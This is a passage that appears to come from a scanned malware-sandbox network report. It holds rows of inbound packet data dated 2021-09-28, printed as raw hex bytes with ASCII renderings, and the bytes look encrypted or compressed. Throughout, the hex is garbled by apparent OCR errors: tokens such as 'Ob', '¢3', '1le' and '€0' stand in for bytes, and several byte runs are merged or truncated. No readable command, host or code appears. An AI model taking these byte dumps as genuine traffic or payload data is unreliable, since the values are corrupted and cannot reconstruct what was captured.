35 0f 6d ca 6f 50 cf 4a d8 4d 60 2d 05 cd 3b 68 93 af 2f 7e 4a 52 04 f8 ad ef 08 a7 62 2c b0 94 37 36 00 55 6a 7a 7f 4d 5b
5a b8 bb 15 51 4f 50 c6 e2 12 13 ¢3 63 73 62 36 8e 84 16 73 65 a0 2c 7a 78 68 ce be db Ob cc 8a f6 ¢8 1le 7b f5 Oc bc 41
08 25 30 b0 d4 f1 b7 52 58 bb 30 5¢ 20 e2 da 20 1d 84 61 fc e8 32 el 36 5d 64 b0 eb e9 34 Oe 41 52 93 44 4b 6e 5b d7 3b
da d5 e2 c3 3a a4 01 el ab b0 c4 2e aa f6 0d bd b4 5¢
Data Ascii: @\#7YW<1<qN, Wp)98VVq]Olw+"_!tF++!"GJuF5hPSA9X 5moPJM -;h/~JRb,76UjzM[ZQOPcsb6se,zxh{A
%0RX0\ a26]d4ARDKnN[;:.\

2021-09-28 11:02:14 UTC 157 IN Data Raw: c1 dO af 60 e8 a7 fO ce a5 b3 e3 a7 37 8a 8e 87 3e 94 39 d0 e9 Ob 00 88 b2 42 a5 a5 79 27 18 56 15 30 d6 65
173049 f9 3a f8 73 21 95 Oc 8c 4e 6¢ df 3e 84 04 ef 78 1c f6 d5 da 73 89 5f dc 37 ce e2 cb 33 ef 1b bc 3f 3d 6a 54 1b ee
cc d4 d4 cb 36 30 ¢3 35 c6 b8 92 2b c5 b6 9f d7 fd 81 7a d9 01 1c bb 2a 97 c4 5f 19 7a 2c f6 fd be 26 f9 7c 1le b4 d1 e5 24
1b ¢5 58 7b 7f 6f 3d 26 4d ce 2e ce 21 53 a2 bb 37 11 9e 8a 47 d2 1a 2a 17 a9 Oe e2 8e bd 96 70 b7 01 fa 9f 6b 52 4a 33
4f 68 4a 6b dc 7e c0 6a 6d 57 4c 36 53 0d 25 3e bd 4f bd c1 da b3 69 1c 5d df 55 95 9e ac 70 74 7b f4 16 8b 86 cd a0 al ff
86 f0 27 d0 68 ae 1f 90 58 €0 00 fd e2 d4 a2 53 e4 d4 9e 5e 11 99 a8 02 00 98 6f 5e 94 cd 5e 03 d1 14 7c 5f b6 f4 57 76
17 3c 88 b8 7f el 05 c9 c5 59 04 b9 41 df 6d ce
Data Ascii: “7>9By'V0e0l:sINI>xs_73?=jT605+z*_z,&|$X{0=&M.!S7G*pkRIZOhIk~jmWLES%>Oi]Upt{'hXS oM |_Wv<YAm

2021-09-28 11:02:14 UTC 158 IN Data Raw: ac ba 71 92 c2 05 0a 89 b0 8d 9c f1 27 6e 23 fd 40 ad d7 6b 4b ed ab fe al 8f 94 be 86 bl a7 53 7d f2 a5 87 92
3124 e0fd 1c al b7 bc c9 77 53 d3 91 87 7a €9 b9 fO bl 14 27 6¢ b7 7b 26 49 67 al dc 76 9c 16 f3 a5 9c 79 ea 88 8a €8
14 Oe 2 6d 1c 4a 9a b7 66 53 c8 3c 85 98 52 a4 7c 3a la c3 8a 9c 78 3¢ 60 68 bd 25 2c 18 1f 9f 76 91 80 93 a6 68 ee 42
eae7 f0 8a f1 34 5e al 02 58 d2 07 f2 e6 64 90 14 82 Oc 6 c6 69 13 9e f9 c6 f4 88 af 38 05 05 12 8a 94 3d cb 3b a8 b7 ed
48 0d 6b 75 €0 6f f9 3f 29 27 17 cc 7d 5b 9f b5 1b 95 20 1f 2a 1b 54 f9 9d 5b c7 0f 20 1a le 9c 3f 04 39 96 36 e8 9a 1b el
53 a0 41 2c 46 a7 d4 63 27 cd da 8c €2 60 a3 92 74 50 27 60 77 04 06 b4 02 a5 ec 11 3f b0 72 66 43 2b 11 7e aa 04 ed
32 ff 6f ac f2 52 98 69 af ab cf 19 c4 dd 5f e6 8b
Data Ascii: ' n#@kKS}$wSz'[{&IgvymIfS<R|:x<h%,vhB4~Xdig8=;Hkuo?)'}[ *T[ 296SA,Fc"tP"w?rfC+~20Ri_

2021-09-28 11:02:14 UTC 159 IN Data Raw: 5a 93 20 c9 be 1d 7e 95 e9 6b 68 8b 3f d2 d4 el 7c f8 3f 41 75 28 a7 7f c3 3a 46 e2 8f 99 ba be 99 af d8 63 c8
76 93 cd eb f9 84 ac bd 91 cc 2f 4f e0 87 9c e4 21 6¢ 01 d1 27 d9 f2 dd 25 15 00 8a 6d fO 0 b6 84 fO 9b fd 89 45 ae 08 9e
77 d3 38 ¢8 29 9c b9 bb a5 6f a3 94 dc 32 57 94 €9 5a 51 02 fe ef 30 71 7 a4 77 be el eb 24 72 db 92 f8 8 5e 2e ab 30
d6 12 25 f8 €6 6b 98 19 b1 06 Oe 51 0f d1 42 60 d5 2b 18 13 a8 b3 1a fc 68 8 01 bd 52 9f 64 8b b1 f9 c8 €0 8¢ 78 21 5b
14 9a d3 40 8b b6 6a 29 07 ee 2a 7e 8¢ 50 9d 3b ba 36 38 ad 6¢ 2d e5 5f 44 e3 13 07 d8 de 6a 99 33 a3 73 02 c9 66 ec
9c 7b 9f 4a 35 b9 af c0 45 a3 ca 98 9d ea e2 el 95 9a 80 35 61 ca f6 16 90 e9 be 8b 45 73 ee e3 {8 69 1a 6f c3 2e c9 fd ce
bc 6d 10 4a 89 54 62 c3 45 02 cc 33 86 70 8¢ 70 87
Data Ascii: Z ~kh?|?Au(:Fcv/O!I'%mEw8)02WZQ0qw$r*.0%kQB +hRdx![@])*~P;68I-_Dj3sf{J5E5aEsio.mIThE3pp

2021-09-28 11:02:14 UTC 160 IN Data Raw: 11 d9 1c 6b ed 19 9c 30 b4 Oc 4f a9 ed 68 34 14 2a 32 5d bf aa ed 95 7f 84 50 a2 36 dc a7 97 4a 00 6e 7f 8¢ 23
bc 77 6379 75 a9 23 16 e8 d7 7c a5 07 6b 5¢c 6b 11 f8 88 70 b6 52 72 5f 2b e8 48 62 48 c4 7a bf d7 06 el 3e 1b f2 8a f1
Ob 2c d2 8b 74 73 38 66 f2 Oc 71 fb ee c0 a7 ae fb ec 4d d3 38 09 95 af 66 b7 b6 9c d6 fd f6 51 ¢3 10 d1 08 ae 6e 1f 8b 7a
88 4f67 18 d5 73 5¢ f0 63 02 d6 bl 47 7e 6a b0 97 49 ac f2 44 13 6¢ 5a 3f 05 aa e5 f2 60 8d c0 42 22 9b 8a d3 77 61 48
d7 6b 5¢c e4 55 3d ec e5 8a 61 04 13 1c 8f 9d e5 a0 df 38 56 el d2 b0 e2 7d 12 c6 14 ec 40 42 8d 7f 3d f8 47 78 ad da 9f
47 al f8 a3 48 8e a5 75 88 d3 8d ee b4 5f 3d d5 2b 20 7c 92 16 7b fd fe 09 a8 98 €9 3d bc ee a9 90 f5 b9 fd bd 1c af b2 b8
43 b2 70 €6 98 60 77 ab 8b 6a 92 85 7b 3e 23 62
Data Ascii: kOOh4*2]P6Jn#wcyu#|k\kpRr_+HbHz>,ts8fgM8fQnzOgs\cG~jIDIZ? B"waHk\U=a8V}@B=GxGHu_=+ [{=Cp
“wi{>#b

2021-09-28 11:02:14 UTC 162 IN Data Raw: 48 70 15 7e 86 08 3b 99 50 53 5c¢ fe f9 45 b5 25 8b 65 ce 20 c5 4e a3 9c d8 8 fe 88 5b 1e 01 24 fd b2 4d c0 e3
0f 2e 13 99 39 7c 8a 4d ab 4e bc 38 de 62 fd c2 0d 9a db 71 af b5 6e 33 f9 7d d3 30 ba aa 4d ea 3a 6¢ 83 13 8a b6 47 46
4b 96 70 01 6f 5d 1c 2a 2c 67 6a 79 e2 al 06 13 el 76 08 2d 5f 80 98 33 2e 76 bc d4 82 37 5 03 2c 16 62 ac b6 c1 2b f4
d9 61 ca a8 4d 9c 2e ce 26 c0 Oe 5¢ 8e 79 54 3f 85 4f 17 2f 60 d6 73 fb 12 4d 0f d6 7d 8a 82 8d 72 ac c9 35 89 bd 3a a2
1c fO 3a e3 4d 8e 4c 32 5a 90 cc
Data Ascii: Hp~;PS\E%e N[$M.9|MN8bgn3}0M:IGFKpo]*,gjyv-_3.v7,b+aM.&\yT?0/ sM}r5::ML2Z
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 162 IN Data Raw: 78 76 bf 71 23 20 a2 93 e4 49 55 8¢ 4a 42 85 c8 20 36 18 6e d6 {7 c9 6f be fc 29 7c 69 71 77 a6 76 al d8 b1 d3
31 b1 53 4a 09 8f c2 0c 35 54 ea c8 a7 2a 8a b9 13 a3 f3 eb 76 ef 95 7a fe ee bf c1 b2 c8 28 51 6f b3 34 e5 bc Oe 35 f3 ee
c7 8f e6 3c ab 94 b7 ba 40 53 d7 el c6 df 71 Oc f2 db 48 32 9f 9e 36 76 7d f2 9e fO 39 b4 ef 9a 90 2f 08 75 8d 46 14 60 54
8d ab cd 1c 16 c1 93 a0 b2 2f 89 4d 13 cf c3 fa bd db b6 76 78 ab 84 02 f5 05 46 9f 46 15 el c1 18 19 4c 95 bb e 2 38 f3
ee e5e2 7d 63 70 66 4d e2 9a 00 a2 3d Of 10 63 2f e3 b2 4b f0 ab 20 fe 3f 4f c6 31 bd 54 df 5a 13 b5 cb 43 67 1b 28 Oe 06
9a dc db bd 5e 41 f6 09 f7 13 7b 7d 82 c6 ae 9a 43 f1 69 bd aa b3 af 63 9 df 38 11 a5 37 91 fe 8c ae ce 60 30 f0 79 bl 8f
b0 €0 0d b7 46 bb 31 94 4b 29 a2 41 da
Data Ascii: xvg# IUJB 6n0)|igwv1SJ5T*vz(Qo45<@SqH26Vv}9/uF T/MvxFFL8}cpfM=c/K ?01TZCg("A{}Cic87 OyF1K)A

2021-09-28 11:02:14 UTC 163 IN Data Raw: 01 4c Oc 14 c2 d6 cc e4 d9 1f 15 c1 53 ab 8c bl 5¢ d8 ba 8f 4b 3 82 63 24 f3 2e 77 d3 52 37 a6 36 90 86 5e 65
3b de 63 ff b4 57 3f 08 d5 75 26 bc 9d 7c al 30 e5 9e 16 e2 18 Oc ac Oa 61 8d eb 5c 5¢ 9d 15 Oe cc 29 5e d4 21 7c 5b 09
86 58 f5 b2 6¢ 1c bd bb d0 02 b3 c7 f4 51 e5 8d 8c 4d ef c0 a5 20 81 a2 aa 29 94 0d 6d 47 2b e5 86 07 38 a5 39 05 2e e
caab 77 a2 06 8d 7a ec 39 70 3d 9b ac d3 c4 25 aa b9 d1 ec b2 6b 52 Oc 27 03 54 74 39 5a b9 4a Oe b9 a7 49 31 21 ea
8802 d3 9a 2e 2a 1d d1 21 09 bb 66 61 c5 14 3b 77 54 9c 8a e7 4a bc 13 9d 3b 7e 97 91 a4 41 c9 f7 58 d1 b6 88 3e 62
a9 3a dd 7a bf 5¢ dd f1 87 70 44 cd 32 el 65 88 ca f2 cO b5 7e b0 67 fe d0 99 eb 74 cc 5e 7e 65 65 af 56 b3 03 7e 1f 33 fe
7b 30 ce 6a 4d 8b Oe 29 cc 1c b0 7f 76 c9 a4 a3 c7 0a 3c
Data Ascii: LS\Kc$.wR76"e;cW?u&|0a\)M|[XIQM )mG+89.wz9p=%kR'Tt9ZJI11!.*Ifa;wTJ;~AX>b:z\pD2e~gt*~eeV~3{0jM)v<

2021-09-28 11:02:14 UTC 164 IN Data Raw: b3 2d 85 4c 9b ce d7 3f bd da f5 72 78 a2 84 00 Of 51 fd 9e 44 8c e0 c1 f3 45 49 95 a6 e2 f8 39 48 9 e7 €3 7d
96 €5 67 4d 75 9b 02 b4 05 d3 11 61 36 €3 b2 bc f7 ab 20 €3 3d 56 c7 ed b7 57 df 5a 1d c2 cf 43 27 06 28 28 7e 44 dd de
b4 5e 41 e3 21 f7 13 66 53 ab c7 49 b1 46 f1 79 bc Ob b7 af 62 f4 df 11 18 48 36 93 b3 8¢ ae 82 48 30 f0 64 bb b9 b1 0Of Oc
b5 85 a8 30 5f 4f 29 a2 5¢ d0 d7 19 81 07 e4 94 13 5d 11 96 c8 ac 30 f5 ae 1d f7 6e 29 2f 5d 50 90 79 b7 8c 49 6¢ ca 3d
d9 03 46 77 2a f3 8d 89 58 9b 1c ca c2 Oe d3 19 dd c2 ba 6d 21 bd 78 ca bd 5d 69 f0 81 e8 1c 3f 9 56 2a ed a5 c0 fc 8a
€6 5¢ 67 64 d2 2f 76 ca 72 f5 d3 a7 24 2a 45 93 2c 4a c8 7e 40 be fd d9 6a 44 40 56 93 d6 b0 ee 93 31 4a fe 43 cl a2 67
52 a6 27 8a 39 27 e7 1c 42 95 4b 09 c9 ae c7 22 ad
Data Ascii: -L?rxQDEI9H}gMua6é =VWZC'((~D AlfSIFybHEHOd0_O)\JOn)/]PylI=Fw*Xm!x]i?V*\gd/vr$*E,J~@jD@V1
JCgR'9'BK"

2021-09-28 11:02:14 UTC 166 IN Data Raw: 75 45 d5 f1 19 06 e2 16 8d ce 86 4e 1a 67 5f 21 bb 7f 71 c¢3 a3 3b 74 b5 b4 fe 7d d6 7a 83 4f 42 dd d9 da 1d 9c
98 76 f2 b8 66 88 f7 77 3e 63 9d c7 25 13 66 e1 9a 76 89 €3 49 3a 40 84 ef Ob 15 ed 8¢ 73 35 dd fe 32 75 f2 01 3 3e e0
70 57 06 69 €0 ef 8f ac ¢4 b2 99 ba b0 01 32 a4 41 32 73 aa 8b 74 ac e8 a8 1d d0 21 b7 92 34 ee 47 2b 8a ae 4d 9b 89 22
88 b8 b7 ef 12 ¢4 6d 2e c0 1c 8b 1a 33 22 d5 81 05 fa 9d 6¢ e5 95 a8 ba e8 84 f9 41 3c cf 03 e8 e4 bd 8a a3 bc cf 94 ba
8e 46 f5 €6 99 64 b4 c9 1c eb 1c 3d 47 ¢7 c9 9f c9 4c 11 8b a3 3f 79 ad 6¢ f8 84 ac 27 21 61 c2 4e 32 78 35 86 6a 3c cf 0d
2590 73 5d 39 db 77 cc cd €9 18 e5 22 fe 0f 25 56 87 67 {7 38 cc c2 ee fc 12 4c¢ 4d ba 52 1b d6 b6 17 5e 2a a9 05 6a 74
6C 6b 2b 4d 7a 57 68 ca 21 al aa a9 3a 71 3f 68 fO
Data Ascii: UENg_!q;t}zOBviw>c%fvl: @s52u>pWi2A2st!4G+M"m.3"|A<Fd=GL?yl'laN2x5j<%s]9w"%Vg8LMR *jtlk+M
zWh!:q?h

2021-09-28 11:02:14 UTC 167 IN Data Raw: d6 ef b6 70 34 e4 93 13 ca 87 07 d5 aa 31 60 97 2e 0d 69 2b d8 5b 62 e4 5e b7 48 55 5e 7 3a 21 2f 43 45 28
f5 78 1a 59 e5 1le cc 81 98 d0 22 dd c4 ba 9a bl al 7a cc a0 ab 23 c¢3 8b ec 1e a8 e8 65 20 ee a5 57 e0 9f 86 5b 7a f1 d1
3f 74 cc a3 49 d2 b4 3b 2c 08 05 37 5b ¢8 79 40 49 ab cf 68 42 41 c3 df e5 ac ea 91 f4 4b ed 96 {7 a2 90 55 96 78 8d 27
08 ea Oe 40 93 31 ¢8 c8 9c b4 26 cb 79 96 27 fc ce 1e 97 bd c2 8d d2 3c ea af 49 54 64 d7 79 62 e7 bc 17 aa 1f €9 3c ad
9 bd 4d eb ff bd ed 50 68 ff f8 48 a9 71 4c 98 6¢ 6¢ ea cc c9 e8 f0 04 58 4f 97 2e 6b 8e 56 25 9b 41 d5 29 f4 7c b9 81 30
8559 62 7d 26 80 1d c4 77 f3 fO f8 c9 6e 9a bc dc 30 ea cl e0 1c ¢3 3d b4 1d 13 db 45 d5 db f9 de 73 fd ae Oa ee 59 3c be
02 2c cc bl 8c d5 90 d9 77 36 f1 94 15 c9 68 29 a7
Data Ascii: p41".i+[b"HUMNI/CE(xY"z#e W[z?2tl;,7[y@IhBAKUX' @1&y'<ITdyb<MPhHqLIIXO.kV%A)|0Yb}&wn0=EsY<,w6h)

2021-09-28 11:02:14 UTC 168 IN Data Raw: fc 12 22 d5 Ob 4 1b fb 9d fb f5 86 20 bd 68 fO ee 52 ba f2 83 7f e5 88 84 f5 ab 39 cb 8¢ 80 10 55 4e 98 51 ab 9f
8a c6 8c 09 b5 98 58 69 48 08 Oe dd 23 91 68 98 e4 af 52 ce 37 14 Oa b0 48 4f 7e 26 92 3¢ 2b 59 a4 61 9b 25 al bb dd 39
d3 9b 7f dc 73 6d 08 53 b0 7b cc 5f €8 6e 4c 34 f9 b2 20 1d dd 1f 42 55 e5 97 97 36 28 e7 Oc 3c 03 b6 bd 6d 45 2¢c a7 80
8 6f be fc 3f 7c a1 70 38 ad 17 95 e6 f8 fd 02 81 60 6d 30 18 c3 52 3e 47 ea 20 de 2a 8a 15 90 b5 f3 3f Oe 27 9e 61 7a fa
€195 87 c8 28 64 3c 03 47 78 d9 7e 46 43 90 c7 8f 86 85 bd 94 51 bb 5f 5f e3 a6 93 96 35 Oc 72 db 2e ab 08 9f fc 56 6a f2
bd b2 55 db 0d 9a 81 0f 9f 74 bc 4a 01 60 64 04 fc 72 bf 29 de 9d db bl c9 71 56 20 53 56 3e bd da b6 60 78 Oc 82 d9 7
4b 46 db c2 8c e0 c1 18 4c 49 02 ba 08 f0 22
Data Ascii: " hROUNQXiH#hR7HO~&<+Ya%9smS{_nL4 BUB(<mE,0?|p8 mOR>G *?'az(d<Gx~FCQ__5r.Vjutd dr)qV SV>
“XKFLI*

2021-09-28 11:02:14 UTC 169 IN Data Raw: ee 8f 97 34 fe ¢8 1d ba fc f3 eb df f3 4b 8d 5a 56 62 d7 11 63 f4 f8 12 d9 83 94 20 97 ff d6 Ob e2 ec bf eb 41 e7
ba ce cc af 54 bb 2a 5d 6e ec cc 0d ef fb 38 7b 4c 00 Oa 7b 04 ca 25 Oc 40 e7 38 f2 eb 2f 66 2c a2 58 2a 71 27 90 1f c5 66
04 01 ee 4d 6f bf 78 2d be €8 c0 e0 31 d5 2d 72 1a f5 43 61 35 9e 60 de e4 fc Of 1c €8 74 ac 39 9f Oe df dc 2e d5 ef f5 64
27 f3 03 5f 96 6b Oc a6 5a 34 c2 6d 7b 3b €8 6¢ 2c 86 da 2f 17 5 84 98 ba 9d bc bb e8 ff 6f 10 4a 14 e0 b6 b8 43 c8 f9 6e
7a9d 0d ce e9 f3 44 {7 21 92 dc 3b 9e 5e 5 18 67 42 a6 5d cO b7 ad 61 56 5b e5 5a b8 e2 c9 5¢ a6 9e 97 84 aa Oe 3f 24
48 47 2b 5 86 52 1e d7 1b 29 2e de 6¢ d7 51 80 06 Oc 54 b9 26 89 3f 7d 83 fd 74 07 aa 08 db 58 ab 8d 53 2b 18 87 4d 92
93 dd a5 3d 09 a2 bf b8 Oe d0 ed a4 02 e8
Data Ascii: 4KZVbc AT*|n8{L{%@8/f,X*q'fMox-1-rCa5't9.d"_kZ4m{;|,/oJCnzD!;*gB]aV[Z\?$HG+R).|QT&?}XS+M=

2021-09-28 11:02:14 UTC 171 IN Data Raw: fa 1d 94 6 81 fd 11 81 f7 7a 40 87 €8 Oc 2d 4e eb a8 a7 2a 99 15 87 a5 03 d9 22 ef cd 55 7b ee bf 95 94 c8 05
75 8a c3 6¢ 8¢ 46 4c 47 3 ee ¢7 9c 86 76 a9 84 ac 90 40 d3 d2 a7 93 96 35 1f f2 4c 39 3e 84 b4 da a2 5b 13 bd b2 55 c8
8d dd a2 c9 0a 5f 8d 26 31 61 54 87 fc 61 bf df c9 46 bb 98 2f 93 6b 21 cf d5 3e ae da f7 70 88 b3 af 02 ed 7b 47 9f 46 8¢
f3 c1 8f 5b 64 89 91 2 2a 12 2 €8 e5 2 6e 96 84 67 ad 77 b0 00 5e 2f Oe 10 63 36 f0 b2 a8 ¢5 5b 31 d4 3d db ea 30 b6
55 df 49 1d de cd b3 36 31 28 56 50 9b dc db b4 4d 41 fb 35 07 02 51 53 8e f4 af b0 43 f1 7a bc 3d b2 79 7e ¢3 df 98 2b a4
37 91 b3 9f ae 95 68 c0 e1 53 bb 33 84 e1 0d b7 85 bb 30 Oe 4d d9 b3 6b dO e7 2 76 06 6 95 00 5d 28 96 38 bd 1b 7 c6
2b Oe 6f 2b 2f 4c 50 14 4d 6¢ 8e 7e 6¢ 69 Ob 20
Data Ascii: z@-N*"U{ulFLGv@5L9>[U_&laTaF/k!>p{GF[d*ngw"/c6[1=0U161(VPMA5QSCz=y~+7hS30MK.v](8+0+/LPMi~li

2021-09-28 11:02:14 UTC 172 IN Data Raw: a7 f2 96 c2 6b 73 91 6 f4 b8 d4 51 af 77 f4 f4 3b ba 9b b4 01 d8 4e 9c 42 c1 c0 80 b7 Oc 61 c8 ff 66 bf ba a9 f4
98 e0 94 97 20 46 78 3b 98 56 de 17 2e d4 f2 bd d4 d4 ac 9d fO 5b e3 52 8f e8 09 cb 2 8e 8c e4 ab 2a 97 24 4e 4f 4a ed
ae db 49 el 4e 49 2f ee c5 d7 57 88 74 14 7a 50 76 52 6d 1d 82 71 dd 07 bb 10 9f 6b 2d 49 05 79 bd 83 4d 7e 39 dd a3 25
37 96 b4 fc 7c 56 75 ¢8 03 5¢ 8b 59 3e 1b 46 87 af 6¢ 2b 67 41 a5 20 be 4e 9a 9b 3b d2 e7 al 9f 6¢ 97 69 85 95 47 c9 f1
4e 95 12 8f 88 35 dc 7e Oe 31 be 1f f5 38 8¢ 76 d3 05 a3 64 2f 8e e6 94 e5 19 4d b6 76 2c 65 c0 32 6¢ 9b 95 d1 8e 7f a9
56 d2 26 af 3b 10 ed 45 7d 8a 35 05 8a 8b 23 88 3e b6 €8 Oe 16 73 ee c1 f2 db 1a 33 d5d3 84 1b 6¢ 9c 11 e6 d1 b7 b0 bc
8 ff 52 3e 9f 9b 41 c0 94 8a a2 3c 74 c0 8e 91 10
Data Ascii: ksQw;NBaf Fx;V.[R*$NOJINI/WtzPvRmak-lyM~9%7|Vu\Y>FI+gA N;liGN5~18vd/Mv,e2IV&;E}5#>s3IR>A<t

2021-09-28 11:02:14 UTC 173 IN Data Raw: 38 f3 fe e5 75 7c a7 56 17 4d b5 14 01 a2 04 0f 06 63 al e2 f1 6f 83 ab 58 71 3c 4f c6 31 a0 55 48 5b 43 91 bf
43 0f 8b 29 Oe 7f 9a ca db 23 5f 30 d2 74 f7 93 eb 52 82 c6 ae b6 43 66 68 3b 8e c6 af a6 79 de 38 19 a5 31 91 24 8d 34
ea 1f 30 fO e8 ba 8f b0 e0 Oc b7 72 ae aa b0 3c 29 76 dO d1 ef 18 77 00 e6 62 15 9a a2 ef c8 10 a3 f6 96 1c Of 69 2b d8 5b
43 e6 21 b7 64 c0 6d f5 3c 21 04 44 b3 2b f9 5d f4 58 67 97 cb 81 Of d1 1d df 55 bb 47 92 el 78 22 37 5¢ 22 f1 89 ec 1le at
e8 64 29 91 a5 e0 79 8b aa 5d 6a 67 d0 d8 70 f8 86 a7 d3 b3 a0 2b 08 92 36 4e ca e8 41 d4 88 a5 6a 24 d8 55 de d7 ae fa
91 a7 4b 67 b1 8b a2 fb c9 a5 7a 8b 27 24 ed 8a 43 27 14 76 c9 de 2d 21 cb 8f 97 35 fe 5f 1f 68 9f 8a 8f 28 al 45 a8 5a 56
63 d7 e6 66 26 9b 6b aa 48 49 2e b2 ff bd 90
Data Ascii: 8u|VMcoXq<O1UH[CC)#_O0tRCfh;y81$40r<)vwbi+[C!dm<!D+]XgUGx"7\"d)y]jgp+6NAj$UKgz'$C'v-15_h(
EZVcf&kHI.
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 175 IN Data Raw: 4a 8b ae 2b 11 fd fb 20 e2 8b 66 c5 €9 21 b8 56 a4 af 18 66 9b 17 33 cc 96 b5 c9 94 41 d1 cf 78 c4 a9 f3 3e 8b
73 7f ee 7c bf 79 f6 40 8d 65 44 79 3f 8f 81 8f ca da e4 1f 55 88 42 ec f2 bc f6 c6 ee 95 65 ac 7f af 4e ec 05 a4 05 48 fe 51
d0 8b 59 4b 8b 88 2b c3 22 ff 7e 72 c5 25 43 c0 0a 95 1b 30 dd 8b 9a db fb e0 fb b0 7c b6 bc ee f9 fc 5a 94 90 ca 7e 98 88
1d Of 3d 38 92 8f 92 18 c2 2b 58 51 d6 9f 08 3¢ 1a 08 58 91 4a 61 74 7a 47 dc 5e 91 b6 62 72 ae 04 c4 26 1c ba c7 88 4f
03 26 50 c6 bd 58 Oc 6b 8c 2d 64 ed 94 38 ae 9b 61 27 e5 6¢ el 59 a6 73 45 Oa 28 6e 31 34 fe 49 Oc 1a cd 14 53 4d 7 c5
ef 31 55 e7 2a c7 f5 b0 62 65 44 2c 40 f6 bf 43 c3 fc c1 87 64 71 77 a6 91 95 5 81 79 2e fc 60 38 cc 8e c2 Oc 35 c6 ea 3f
a6 cc 88 68 90 fb Of c9 08 ef 95 e0 7a 19
Data Ascii: J+ fIVI3Ax>s|ly@eDy?UBeNHQYK+"~r%C0|Z~=8+XQ<XJatzG"br&O&PXk-d8a'l YSE(n14ISM1U*beD,@Cdqwy.
'85?hz

2021-09-28 11:02:14 UTC 176 IN Data Raw: 27 06 a2 75 57 f3 32 89 5a 9b 01 ca 17 0f 57 01 39 c0 c7 6d d1 9c 7a ca a0 5d b4 f1 b9 ee 8 3d 94 56 8d ec a7
c0 el 8a 3c 5d 2f 7d 36 2d Ob ca 3e da d1 a7 39 2a 9e 92 52 4c 2c 7d 3d be 14 d8 68 44 41 54 48 d7 bd cc 77 32 37 fe 41
f5 a0 67 53 a4 ec 8b a9 21 0b 1f 3f 95 c1 08 cb ae b6 20 5d 8f a7 15 18 ca 63 ba b1 f5 8d d4 3c 44 3e 5a ee 66 31 13 1d f4
98 14 a8 88 e8 2f 24 ff de b0 04 ee c2 eb 11 fa fc eb 4a af e7 bb 7c 7b 88 ee b1 0d b5 e6 04 5e 5f 00 b9 7b 41 71 c3 Oe
3d e7 537 7e 2e 8023 1158 71 ef c1 92 62 c5 e3 01 f4 e8 cb 6f Oc 78 70 05 Oe c2 9d 31 74 28 b4 1b 13 4c d2 35 e7 fa
38 e6 81 0f c1 ed 5b ab bf 9f bd df a6 a3 33 ed 88 64 de f6 96 5e cb 7b bf a6 95 93 24 6f 06 3b fd 6a b9 87 51 3f a4 f5 la
0Ob 5c 9f c1 bb e6 f9 9a 16 c1 04 53 b6 93 64 2e
Data Ascii: 'uUW2ZW9mz]=V<]/}6->9*RL,}=hDATHW27AgS!? ]c<D>Zf1/$J|{" {Aq=S~.#Xgboxp1t(L58[3d"{$0;jQ?\Sd.

2021-09-28 11:02:14 UTC 177 IN Data Raw: f6 77 5f 98 1e a4 9d 9c c6 1b 9e 58 9c 4a 8f ca 04 Oe ad 2c 93 7e 98 73 38 04 c8 33 f2 7c b9 48 de 71 24 84 3¢
bc ce Oc 2a 8c ¢3 df b3 dd 8b dc 99 69 dc e4 fa el 56 b2 9d 82 54 e8 ba 43 36 ef b2 0d 8c cd 7f 56 b3 cb 9d 97 ¢3 27 e5
la 3c f4 26 62 29 45 ca d5 8a c8 78 ae fe 29 7c 65 e7 77 33 03 73 f4 fc fd 3b 91 62 7b 30 8f 54 Oc 43 47 Oc aa da 2a d0 05
92 a3 f3 c8 9e ef 4a 75 9c ec c2 95 fc d8 2a 72 3c ¢7 d0 8c 6f 71 a0 f1 93 c7 13 96 87 ab 94 a7 2c¢ 40 5a f0 40 91 eb 35 b2
e2 d9 38 8b 9f 08 da d3 67 14 bf cf 55 04 9d 98 90 2f 08 e3 8d 75 12 86 56 fa fc 72 ae 2b c8 9d a0 24 2f 3b 57 c6 cd a8 3e
9c ch b4 76 78 a2 13 02 92 55 a0 9d 3b 8¢ a2 d0 1a 5a 49 95 2d e2 e4 18 15 ea 98 e2 1e 87 70 66 4d 75 Oc 00 33 00 €9
12 1e 36 67 a3 49 f1 ab 20 68 3d 7c 7 d7 b4 28
Data Ascii: w_XJ,~s83|Hg$<*IVTC6V'<&b)Ex)|ew3s;b{0TCG*Ju*r<oq, @Z@58gU/uVr+$/;W>vxU;ZI-pfMu36gl h=|(

2021-09-28 11:02:14 UTC 178 IN Data Raw: ec e2 92 a4 €9 50 ff fe 7d 4a bb 76 5d 9c 02 6e 73 d7 Of e9 e3 06 c8 5f e6 2e 9d 8e 2d 25 cd 5b e5 2b f2 7c b8
80 69 80 be 60 97 27 73 04 c7 77 04 f6 7e cb 37 98 9e df 5d e8 c4 fc 33 c4 2d b6 8d 13 40 4c d3 d8 82 de c2 e0 0d Od e8
59 3d bf 10 29 39 b2 2 d5 a7 e9 66 36 f3 94 ¢8 cb 3f 23 40 f0 eb c2 07 67 39 f9 6¢ bb 11 51 83 30 13 f6 46 ba 16 a0 b9 f9
ff 98 80 ¢1 85 d1 50 Oe 1c c8 54 72 78 9b 15 f0 5a e0 a2 dO c7 44 05 3b 50 42 {7 0b 67 d5 31 bd 7b 86 4b 9f 8d 5b 15 46
ba f4 c9 cb 31 8e 8c al 4c 28 ea 24 5a 5a 29 €3 86 c5 89 el 18 19 c8 ec b8 d7 65 9d 04 1a 54 4e b6 52 79 58 65 73 a0 07
fc 15 d9 4e ab 49 c4 79 1b b6 ab 7c 44 dd dd 20 Ob b3 a7 fc bd 56 83 81 e4 5e f6 59 b7 06 d3 86 20 72 ea 67 8a fe c7 bc
33 9a 31 26 47 e6 17 9b ad 97 2d ca 72 45 b4 f1 80
Data Ascii: P}v]ns_.-%[+|i"'sw~7]3-@LY=)9f6?#@g9IQ0FPTrxZD;PBg{K[F1L($ZZ)eTNRyXesNIly|D VAY rg31&G-rE

2021-09-28 11:02:14 UTC 180 IN Data Raw: 2e 98 97 87 c8 28 e4 3c 7d 43 6a d0 14 46 11 c9 c5 8f 86 85 3d 94 94 8b a6 51 89 a6 97 be 37 Oc f2 db ae 8b
6a 9b 3c 58 00 f2 9b 9a 57 db 8d 9a 06 2f 91 44 6b 44 6b 60 13 af fe 72 bf 29 5e 9d bf b4 ¢9 71 31 20 a7 fd 3c bd da b6 €0
78 ed b7 e4 f7 2c 46 16 6e 8e €0 c1 18 cc 49 dc bd 04 f0 45 f3 42 cd e0 7d 96 72 fO 4d 9e ae e6 a0 79 Of db 4b 34 e3 b2
